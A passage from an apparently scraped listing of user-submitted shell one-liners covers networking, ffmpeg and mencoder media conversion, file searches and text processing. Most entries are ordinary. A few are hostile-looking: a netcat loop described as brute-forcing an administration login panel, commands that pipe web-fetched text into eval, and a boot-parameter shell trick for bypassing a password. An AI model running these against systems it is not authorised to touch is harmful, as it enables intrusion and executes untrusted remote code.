$2}' | cut -d: -f2 | sed s/^/eth1:\ /g eth1: 192.168.100.73 Functions: awk cut grep ifconfig sed Grab an interface's IP from ifconfig without screen clutter Sometimes, you don't really care about all the other information that ifconfig spits at you (however useful it may otherwise be). You just want an IP. This strips out all the crap and gives you exactly what you want. history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " " i}}' | sort -rn | head Functions: awk echo sort wc Most used command seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X Quick plotting of a function The arguments of "seq" indicate the starting value, step size, and the end value of the x-range. "awk" outputs (x, f(x)) pairs and pipes them to "graph", which is part of the "plotutils" package. awk '{sum+=$1; sumsq+=$1*$1} END {print sqrt(sumsq/NR - (sum/NR)**2)}' file.dat echo "vertical text" | fold -1 Functions: echo fold awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log Show a line when a "column" matchs get your terminal back after it's been clobbered after a terminal gets clobbered (like after you cat a binary file by accident), this is the only way to get it back without re-starting it. cat filename | grep . Pipe any output to "grep ." and blank lines will not be printed. date +%s | sha256sum | base64 | head -c <length>; echo Functions: date head w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// : F\//g'|sed 's/, / : /g'|grep -i ':' Thursday : November 11 BAL 21 ATL 26 : Final Sunday : November 14 DET 12 BUF 14 : Final MIN 13 CHI 27 : Final NYJ 26 CLE 20 : F/OT CIN 17 IND 23 : Final TEN 17 MIA 29 : Final CAR 16 TB 31 : Final HOU 24 JAC 31 : Final KC 29 DEN 49 : Final DAL 33 NYG 20 : Final SEA 36 ARI 18 : Final STL 20 SF 23 : F/OT NE at PIT 8:20 PM : NBC Monday : November 15 PHI at WSH 8:30 PM : ESPN Get NFL/MLB Scores/Time change the nfl in the url to mlb or nba to get those score/times as well buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; } Backup a file with a date-time stamp 1. you don't need to prepend the year with 20 - just use Y instead of y 2. you may want to make your function a bit more secure: buf () { cp ${1?filename not specified}{,$(date +%Y%m%d_%H%M%S)}; } perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config ssh autocomplete based on ~/.ssh/config I use this in my bashrc to expand hosts defined in ~/.ssh/config: function _ssh_completion() { complete -W "$(_ssh_completion)" ssh Here's a great article on how to setup your own ~/.ssh/config: http://blogs.perl.org/users/smylers/2011/08/ssh-productivity-tips.html tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip > /mnt/c/home.tar.gz 7.85GB 0:20:27 [6.54MB/s] [=========================================================================>] 100% tar directory and compress it with showing progress and Disk IO limits tar directory and compress it with showing progress and Disk IO limits. Pipe Viewer can be used to view the progress of the task, Besides, he can limit the disk IO, especially useful for running Servers. awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}' /var/lib/dpkg/status | sort -n | tail watch -n 7 -d 'uptime | sed s/.*users,//' load average: 0.65, 0.88, 1.00 Functions: sed watch keep an eye on system load changes helps you keep watch on the load of a system, without having to stare constantly at the terminal. The -d argument to watch highlights the difference from the last run, making it easier to note how the load is fluctuating. The sed command just strips off the information about how long the box has been up, and how many users are logged in. curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg" scp filename root@remote:`pwd` [root@core /to/long/of/a/directory/name/to/type/out/gesh]# scp filename root@domain.tld:`pwd` root@domain.tld's password: [root@core /to/long/of/a/directory/name/to/type/out/gesh]# shortcut to scp a file to the same location on a remote machine This will copy a file from your current directory to the same location on another machine. Handy for configuring ha, copying your resolv.conf, .bashrc, anything in /usr/local, etc. find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}' 150000 Functions: awk du find xargs Summarise the size of all files matching a simple regex Use the find command to match certain files and summarise their total size in KBytes. grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2- Lists unambigously names of all xml elements used in files in current directory This set of commands was very convenient for me when I was preparing some xml files for typesetting a book. I wanted to check what styles I had to prepare but coudn't remember all tags that I used. This one saved me from error-prone browsing of all my files. It should be also useful if one tries to process xml files with xsl, when using own xml application. /usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu Colourful with vim regex finding goodness! Replace the 'man' with the page to be looked up. I actually have as a function in my .profile function vman { /usr/bin/man $* | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu' - mkdir `date --iso` Make a directory named with the current date Create a directory named with the current date in ISO 8601 format (yyyy-mm-dd). Useful for storing backups by date. The --iso switch may only work with GNU date, can use format string argument for other date versions. for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done Create multiple mp4 files using avidemux Convert multiple files using avidemux. Version updated (thanks to the guys who helped me giving me hints about how to improve the command). Works with files whose name contains blank characters. One of the reasons why I love open source: everyone can take something "done" and improve it to make it better! If u have suggestions, please let me know. ‹ First < 118 119 120 121 122 > Last › mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables group by table_schema;' mysql DB size tcpdump -ieth0 -n tcp port 80 -A -s1500 Capture data in ASCII. 1500 bytes Sniffing traffic on port 80 only the first 1500 bytes find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \; Find all files under a certain directory /home that have a certain suffix at the end of the file name. Show the file and rename them to remove the suffix. C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d [WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given folder. This comes in handy for me when I am developing and testing Perl command line scripts. http://technet.microsoft.com/en-us/library/bb490880.aspx update-java-alternatives Lets you set all the java alternatives at once to a matching version. Also has options for just changing the jre or the plugin. sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut -d: -f2) Functions: cut grep sudo rpm -qp --scripts package.rpm warning: /var/cache/yum/as-3-u8-i386/packages/screen-3.9.15-10.i386.rpm: V3 DSA signature: NOKEY, key ID db42a60e postinstall scriptlet (using /bin/sh): /sbin/install-info /usr/share/info/screen.info.gz /usr/share/info/dir --entry="* screen: (screen). Terminal multiplexer." preuninstall scriptlet (using /bin/sh): if [ $1 = 0 ]; then /sbin/install-info --delete /usr/share/info/screen.info.gz /usr/share/info/dir --entry="* screen: (screen). Terminal multiplexer." fi show rpm packages scriptlets find . -name .DS_Store -exec rm {} \; Remove annoying OS X DS_Store folders Recursively removes all those hidden .DS_Store folders starting in current working directory. ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg FFmpeg version r11872+debian_3:0.svn20080206-12ubuntu3.1, Copyright (c) 2000-2008 Fabrice Bellard, et al. configuration: --enable-gpl --enable-pp --enable-swscaler --enable-x11grab --prefix=/usr --enable-libgsm --enable-libtheora --enable-libvorbis --enable-pthreads --disable-strip --enable-libfaad --enable-libfaadbin --enable-liba52 --enable-liba52bin --enable-libdc1394 --enable-shared --disable-static libavutil version: 49.6.0 libavcodec version: 51.50.0 libavformat version: 52.7.0 libavdevice version: 52.0.0 built on Mar 13 2009 17:52:45, gcc: 4.3.2 Input #0, avi, from 'mvi_0834.avi': Duration: 00:04:01.0, start: 0.000000, bitrate: 15403 kb/s Stream #0.0: Video: mjpeg, yuvj422p, 640x480 [PAR 0:1 DAR 0:1], 30.00 tb(r) Stream #0.1: Audio: pcm_s16le, 44100 Hz, mono, 705 kb/s Output #0, vcd, to 'movie.mpg': Stream #0.0: Video: mpeg1video, yuv420p, 352x240 [PAR 0:1 DAR 0:1], q=3-13, 1 kb/s, 29.97 tb(c) Stream #0.1: Audio: mp2, 44100 Hz, stereo, 64 kb/s Stream #0.1 -> #0.1 video:18486kB audio:1883kB global headers:0kB muxing overhead 1.321023% convert plain .avi movies to .mpeg works "out of the box" on ubuntu 8.10 find . -type f -name *.ext -exec cat {} > file.txt \; Functions: cat find Recursive cat - concatenate files (filtered by extension) across multiple subdirectories into one file Useful if you have to put together multiple files into one and they are scattered across subdirectories. For example: You need to combine all .sql files into one .sql file that would be sent to DBAs as a batch script. You do get a warning if you create a file by the same extension as the ones your searching for. find . -type f -name *.sql -exec cat {} > BatchFile.txt \; sudo arp-scan 192.168.1.0/24 -interface eth0 Router discovery mytop readlink -f myfile.txt /tmp/myfile.txt get absolute file path Retrieve absolute path name from relative path OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS" split a string (3) sort -M filename $ cat my_months apr 789 feb 356 jan 982 jul 902 oct 876 sep 342 feb 267 may 534 mar 888 jun 654 dec 732 jun 672 nov 623 $ sort -M my_months sort monthwise sort command can sort month-wise (first three letters of each month). See the sample output for clarification. Sorting Stable ? NO. Take note if that matters to you. Sample output suggests that sort performs unstable sorting (see the relative order of two 'feb' entries). curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI HTTP Get of a web page via proxy server with login credentials If you are behind a proxy server and have to authenticate with proxy server to browser web pages then you have to pass proxy server address and its port number along with user credentials to curl to got GET the page using curl. Example : "curl -U srikanth -x 167.85.103.70:8080 find . -type f ! -perm /g=r -exec chmod g+r {} + Give any files that don't already have it group read permission under the current folder (recursive) Makes any files in the current directory (and any sub-directories) group-readable. Using the "! -perm /g=r" limits the number of files to only those that do not already have this property Using "+" on the end of the -exec body tells find to build the entire command by appending all matching files before execution, so invokes chmod once only, not once per file. mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_opt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/dev/null' First pass dvd rip... The set of commands was too long, so I had to separate them into two. This set of commands will rip a dvd title using a 2 pass mencoder xvid encode. It will provide a great quality rip. It will rip as close to 700MB as possible. (note the bitrate of -700000) Enjoy! IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c" $ IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c" 86.134.45.64 Command used: curl ip.appspot.com Get your external IP address with a random commandlinefu.com command There's been so many ways submitted to get your external IP address that I decided we all need a command that will just go pick a random one from the list and run it. This gets a list of "Get your external IP" commands from commanlinefu.com and selects a random one to run. It will run the command and print out which command it used. This is not a serious entry, but it was a learning exercise for me writing it. My personal favourite is "curl icanhazip.com". I really don't think we need any other ways to do this, but if more come you can make use of them with this command ;o). Here's a more useful command that always gets the top voted "External IP" command, but it's not so much fun: eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}') for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.128\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sleep 1;done Netcat brute force on administration login panel echo $(( 1+1 )) calculate in commandline with bash Only works for integer arithmetic. echo "$math_expr" | bc -l $ echo "4.5*16+3^2" | bc -l 81.0 $ echo "s(3.1415926/2)" | bc -l .99999999999999964101 Quick calculator at the terminal Useful for quick calculations at the command line. $math_expr is any arithmetic expression (see sample output): 4.5*16+3^2 s(3.1415926/2) More options in the bc man page. mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by mencoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=-700000 -ofps 30000/1001 -o '<outputfile.avi>' Second pass dvd rip... The set of commands was too long, so I had to separate them into two. ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV Input #0, mov,mp4,m4a,3gp,3g2,mj2, from '100_0029.MOV': Metadata: major_brand : qt minor_version : 0 compatible_brands: qt comment : KODAK Zi8 Pocket Video Camera comment-eng : KODAK Zi8 Pocket Video Camera Duration: 00:07:57.74, start: 0.000000, bitrate: 8778 kb/s Stream #0.0(eng): Video: h264, yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], 8644 kb/s, 29.97 fps, 29.97 tbr, 90k tbn, 59.94 tbc Stream #0.1(eng): Audio: aac, 48000 Hz, stereo, s16, 127 kb/s Output #0, mov, to '100_0029_1.MOV': encoder : Lavf52.64.2 Stream #0.0(eng): Video: mpeg4, yuv420p, 1920x1080 [PAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 30k tbn, 29.97 tbc Stream #0.1(eng): Audio: libfaac, 48000 Hz, stereo, s16, 64 kb/s video:66194kB audio:1879kB global headers:0kB muxing overhead 0.216892% split large video file i have a large video file, 500+ MB, so i cant upload it to flickr, so to reduce the size i split it into 2 files. the command shows the splitting for the first file, from 0-4 minutes. ss is start time and t is duration (how long you want the output file to be). credit goes to philc: http://ubuntuforums.org/showthread.php?t=480343 NOTE: when i made the second half of the video, i got a *lot* of lines like this: frame= 0 fps= 0 q=0.0 size= 0kB time=10000000000.00 bitrate= 0.0kbit just be patient, it is working =) arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}') Functions: arp awk grep route add static arp entry to default gateway, arp poison protection ‹ First < 119 120 121 122 123 > Last › mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4 Rip a DVD to AVI format Substitute whatever track number you want into the "dvd://1" parameter. The "-aid 128" is to select the English language. sed -n '1,/regex/p' filename print contents of file from line 1 until we match regex Start printing the contents of filename to stdout, until a matching line to regex is found, then stop. echo <command>; !#:0-$ !# is the currennt line so far, by using !#:- you can go from the second arg (it's zero indexed) to the last ($) (did I understand the problem correctly?) mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cert/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username"}INBOX' move messages directly from one IMAP inbox to another This one-liner was useful in helping someone I know to get off of MS Exchange. `mailutil` proved to be a much better alternative than `fetchmail` or `getmail` in this case. It quickly moved all mails to the destination server (a simple Dovecot/Maildir setup), with no need to convert back and forth between mbox/maildir on the user's own system. php -r 'function a(){$i=10;while($i--)echo str_repeat(" ",rand(1,79))."*".PHP_EOL;}$i=99;while($i--){a();echo str_repeat(" ",34)."Happy New Year 2011".PHP_EOL;a();usleep(200000);}' Congratulations on new year Requires installed command line PHP. Also, try at different dimensions of terminal window ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg frame= 1 fps= 0 q=4.2 Lsize= -0kB time=0.04 bitrate= -4.2kbits/s dup=0 drop=118 video:14kB audio:0kB global headers:0kB muxing overhead -100.157311% Video thumbnail Faster thumbnail creation than '-itsoffset' ffmpeg -itsoffset -4 -i test.avi -vcodec mjpeg -vframes 1 -an -f rawvideo -s 320x240 test.jpg nohup <command> 2> /dev/null > /dev/null & nohup that doesn't generate nohup.out I'm sure this can be piped into another way. Please share! perl -p -i -e 's/this/that/g' filename Replace Every occurrence of a word in a file Replace 'this' with 'that' ubuntu-bug Report bugs in Ubuntu As of 10.04 LTS, you need to use this command-line to reports bugs to the launchpad.net tracking system (you need a launchpad acct for this to work). This command is preferred over using the website because it collects/sends info about your system to help developers. ubuntu-bug is a symlink to apport-bug which sees if KDE/Gnome is running and calls apport-gtk/apport-kde dialogs, otherwise apport-cli, so you can fill out a bug report. First run 'ubuntu-bug' without args to see a list of known symptoms. If there's no matching symptom, or you know which package is to blame, then run 'ubuntu-bug <package>'. If the process is still running, use 'ubuntu-bug <PID>' svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c Functions: cut egrep sort uniq Get each users commit amount nslookup -q=txt <topic>.wp.dg.cx Functions: nslookup if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi; Functions: exec sudo Force the script to be started as root Place this code at the beginning of your script to ensure that it can only be executed by the root. ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}' Getting the ip address of eth0 echo foo | netcat 192.168.1.2 25 got milk? Using netcat, usuallly installed on debian/ubuntu. Also to test against a sample server the following two commands may help echo got milk? | netcat -l -p 25 python -c "import SocketServer; SocketServer.BaseRequestHandler.handle = lambda self: self.request.send('got milk?\n'); SocketServer.TCPServer(('0.0.0.0', 25), SocketServer.BaseRequestHandler).serve_forever()" mount -t iso9660 /dev/cdrom /media/cdrom mount a cdrom Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234 Netcat & Tar Create a tarball on the client and send it across the network with netcat on port 1234 where its extracted on the server in the current directory. alias irssi="screen -wipe; screen -A -U -x -R -S irssi irssi" Bash alias for creating screen session containing IRSSI, named irssi, while checking if existing session is created Bash alias for easy irssi within screen, attempts to attach to existing irssi session, if one exists, otherwise creates one - Including wipe for when system reboots and leaves "dead" session. nm --dynamic <libfile.so> Functions: nm List symbols from a dynamic library (.so file) You can get what functions at which addresses are inside a dynamic link library by this tool. awk '{print length, $0;}' | sort -nr cat SomeFile.txt | pbcopy Copy text to the clipboard Great for little scripts that dig up obscure info that you are going to have to paste into another app anyway. sed 's/^/$ /' "$script" | xclip preprocess code to be posted in comments on this site Assuming that $script contains the filename of a script you'd like to post as part of a comment on this site, this will prefix each line with '$' and pipe it into the X selection. From there just put the cursor in the right place in the comments box and middle-click. Should work pretty much anywhere with xclip installed. On debian-ish systems this is installed as part of the package "xclip". display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif') Requires display. Corrected version thanks to sputnick and eightmillion user. for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo pid:6,user:8,comm:10,$p kpid -A;done PID USER COMMAND TPGID 1661 avahi avahi-daem -1 1662 avahi avahi-daem -1 3804 postfix pickup -1 3906 nobody httpd -1 3907 nobody httpd -1 3910 nobody httpd -1 5638 nobody httpd -1 Functions: cut echo ps The Hidden PS While going through the source code for the well known ps command, I read about some interesting things.. Namely, that there are a bunch of different fields that ps can try and enumerate for you. These are fields I was not able to find in the man pages, documentation, only in the source. Here is a longer function that goes through each of the formats recognized by the ps on your machine, executes it, and then prompts you whether you would like to add it or not. Adding it simply adds it to an array that is then printed when you ctrl-c or at the end of the function run. This lets you save your favorite ones and then see the command to put in your .bash_profile like mine at : http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html Note that I had to do the exec method below in order to pause with read. t () local r l a P f=/tmp/ps c='command ps wwo pid:6,user:8,vsize:8,comm:20' IFS=' '; trap 'exec 66 exec 66 $f && command ps L | tr -s ' ' >&$f; while read -u66 l >&/dev/null; do a=${l/% */}; $c,$a k -${a//%/} -A; yn "Add $a" && P[$SECONDS]=$a; composite -dissolve 30% -tile watermark.png input.png output.png add repeated watermark to image ‹ First < 120 121 122 123 124 > Last › cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http://dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; } Functions: echo grep return Check if a remote port is up using dnstools.com (i.e. from behind a firewall/proxy) Shell function; returns 0 if the port is up, 1 otherwise (check $? after executing). First parameter: IP address/hostname Second parameter: port number There is no error checking for the input parameters. du -hc * find directory -size +nnn Find Files That Exceed a Specified Size Limit sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1 $ sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1 25M total $ sudo find /var/log/ -mtime -7 -type f | xargs du -ch | grep total Functions: du find sudo tail xargs get diskusage of files modified during the last n days get diskusage of files (in this case logfiles in /var/log) modified during the last n days: sudo find /var/log/ -mtime -n -type f | xargs du -ch n -> last modified n*24 hours ago Numeric arguments can be specified as +n for greater than n, -n for less than n, n for exactly n. => so 7*24 hours (about 7 days) is -7 ls | sed "/^/=" | sed "N;s/\n/. /" 1. bin 2. boot 3. cdrom 4. dev 5. etc the sed way to print line numbers curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}" Much simpler but not as many features as the alternative. find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n 1105 ./intl/lock.h 1336 ./intl/loadmsgcat.c 1507 ./intl/localename.c 1689 ./intl/dcigettext.c 1961 ./intl/plural.c 4677 ./intl/vasnprintf.c 20716 total Functions: find sort wc The same as the other two alternatives, but now less forking! Instead of using '\;' to mark the end of an -exec command in GNU find, you can simply use '+' and it'll run the command only once with all the files as arguments. This has two benefits over the xargs version: it's easier to read and spaces in the filesnames work automatically (no -print0). [Oh, and there's one less fork, if you care about such things. But, then again, one is equal to zero for sufficiently large values of zero.] du -hd 1 OSX's BSD version of the du command uses the -d argument instead of --max-depth. (netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1 Functions: awk grep head netstat seq sort uniq perl-less way history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr sort -R Randomizes a file. The opposite of sort is sort -R! until ping -c1 ADDRESS;do true;done;zenity --warning --text "ADDRESS is back" I'd rather this one on Gnome, as I'm used to be listening some music while working. I've even created a bash function which receives ADDRESS as parameter. init=/bin/bash; mount -o remount,rw / Functions: init mount password recovery on debian Appended to grub boot parameters ... gives shell ... password recovery tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g' print java packages by using unix tree and sed if you need a quick way of printing out all the packages that contain classes this command will print the directory structure and replace '/' with '.' It will also ignore CVS directories (we use CVS here) find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \; Find and delete thunderbird's msf files to make your profile work quickly again. sed -r 's_(/[^>]*?>)_\1\n_g' filename.html </div> <div id="rpbw"></div> <div id="e2"> </div> quick and dirty formatting for HTML code Finds all the closing tags in a HTML document via non-greedy regex and adds a linefeed for easier reading/editing sed -i.bak -r 's_(/[^>]*?>)_\1\n_g' filename.html This will save a copy of filename.html as filename.html.bak and then add the linefeeds to the original file echo $PATH | tr : \\n /home/piyo/bin /home/piyo/app/bin /usr/games /home/piyo/AppPrefs/piyo/smallscripts You may also want to alias it, if you need to look at it often... alias lpath="echo \$PATH | tr : \\\\n" "\$PATH" to make sure to look at your current $PATH find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp Functions: awk cp find head sort xargs copies 20 most recently downloaded mp3 files (such as from Miro) into a directory Change ~/tmp to the destination directory, such as your mounted media. Change -n20 to whatever number of files to copy. It should quit when media is full. I use this to put my most recently downloaded podcasts onto my phone. curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import gpg: key 00ED7604: "Jelle Herold (wires) <jelle@defekt.nl>" not changed gpg: unchanged: 1 import gpg key from the web imports a public key from the web. I know this by head.. but useful nevertheless find . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }' Functions: awk find grep sed sum Count the number of pages of all PDFs in current directory and all subdirs, recursively head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p' Functions: head od sed Outputs a 10-digit random number htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate" gnu@robby:~$ htlatex tp.constit.0.0.1.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate" This is pdfTeXk, Version 3.141592-1.40.3 (Web2C 7.5.6) %&-line parsing enabled. entering extended mode LaTeX2e <2005/12/01> Babel <v3.8h> and hyphenation patterns for english, usenglishmax, dumylang, noh yphenation, arabic, farsi, croatian, ukrainian, russian, bulgarian, czech, slov ak, danish, dutch, finnish, basque, french, german, ngerman, ibycus, greek, mon ogreek, ancientgreek, hungarian, italian, latin, mongolian, norsk, icelandic, i nterlingua, turkish, coptic, romanian, welsh, serbian, slovenian, estonian, esp eranto, uppersorbian, indonesian, polish, portuguese, spanish, catalan, galicia n, swedish, ukenglish, pinyin, loaded. (./tp.constit.0.0.1.tex (/usr/share/texmf-texlive/tex/latex/base/letter.cls Document Class: letter 1999/04/29 v1.2z Standard LaTeX document class (/usr/share/texmf-texlive/tex/latex/base/size10.clo)) (/usr/share/texmf/tex/generic/tex4ht/tex4ht.sty) (/usr/share/texmf/tex/generic/tex4ht/usepackage.4ht) (/usr/share/texmf-texlive/tex/generic/babel/babel.sty (/usr/share/texmf-texlive/tex/generic/babel/frenchb.ldf (/usr/share/texmf-texlive/tex/generic/babel/babel.def) ************************************* * Local config file frenchb.cfg used * (/usr/share/texmf-texlive/tex/generic/babel/frenchb.cfg))) (/usr/share/texmf/tex/generic/tex4ht/tex4ht.4ht :::::::::::::::::::::::::::::::::::::::::: TeX4ht info is available in the log file ) (/usr/share/texmf/tex/generic/tex4ht/tex4ht.sty --- needs --- tex4ht tp.constit.0.0.1 --- (./tp.constit.0.0.1.tmp) (./tp.constit.0.0.1.xref) (/usr/share/texmf/tex/generic/tex4ht/ooffice.4ht) (/usr/share/texmf/tex/generic/tex4ht/unicode.4ht) (/usr/share/texmf/tex/generic/tex4ht/mathml.4ht) (/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht) (/usr/share/texmf/tex/generic/tex4ht/latex.4ht (/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht)) (/usr/share/texmf/tex/generic/tex4ht/fontmath.4ht (/usr/share/texmf/tex/generic/tex4ht/mathml.4ht [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52]) (/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht)) (/usr/share/texmf/tex/generic/tex4ht/letter.4ht (/usr/share/texmf/tex/generic/tex4ht/babel.4ht (/usr/share/texmf/tex/generic/tex4ht/frenchb.4ht (/usr/share/texmf/tex/generic/tex4ht/ooffice-mml.4ht)) (./tp.constit.0.0.1.aux) (/usr/share/texmf/tex/latex/lm/t1lmr.fd) [1] (./tp.constit.0.0.1.aux) ) Output written on tp.constit.0.0.1.dvi (53 pages, 46864 bytes). Transcript written on tp.constit.0.0.1.log. ---------------------------- tex4ht.c (2007-11-07-16:08 kpathsea) tex4ht -f/tp.constit.0.0.1.tex -i/usr/share/texmf/tex4ht/ht-fonts/ooffice/! -cmozhtf (/usr/share/texmf/tex4ht/tex4ht.env) (/usr/share/texmf/tex4ht/ht-fonts/ooffice/charset/unicode.4hf) (/usr/share/texmf-texlive/fonts/tfm/public/ams/cmbsy5.tfm) (/usr/share/texmf/tex4ht/ht-fonts/alias/cm/cmbsy.htf) Searching `cmsy.htf' for `cmbsy5.htf' (/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmsy.htf) (/usr/share/texmf-texlive/fonts/tfm/public/ams/cmbsy7.tfm) Searching `cmsy.htf' for `cmbsy7.htf' (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmbsy10.tfm) Searching `cmsy.htf' for `cmbsy10.htf' (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy10.tfm) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy7.tfm) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmsy5.tfm) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi10.tfm) (/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmmi.htf) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi7.tfm) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmmi5.tfm) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr10.tfm) (/usr/share/texmf/tex4ht/ht-fonts/alias/lm/lm-rep-cmrm/cmr.htf) Searching `lm-rep-cmrm.htf' for `cmr10.htf' (/usr/share/texmf/tex4ht/ht-fonts/unicode/lm/lm-rep-cmrm.htf) (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr7.tfm) Searching `lm-rep-cmrm.htf' for `cmr7.htf' (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmr5.tfm) Searching `lm-rep-cmrm.htf' for `cmr5.htf' (/usr/share/texmf-texlive/fonts/tfm/public/cm/cmex10.tfm) (/usr/share/texmf/tex4ht/ht-fonts/unicode/cm/cmex.htf) [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53 file 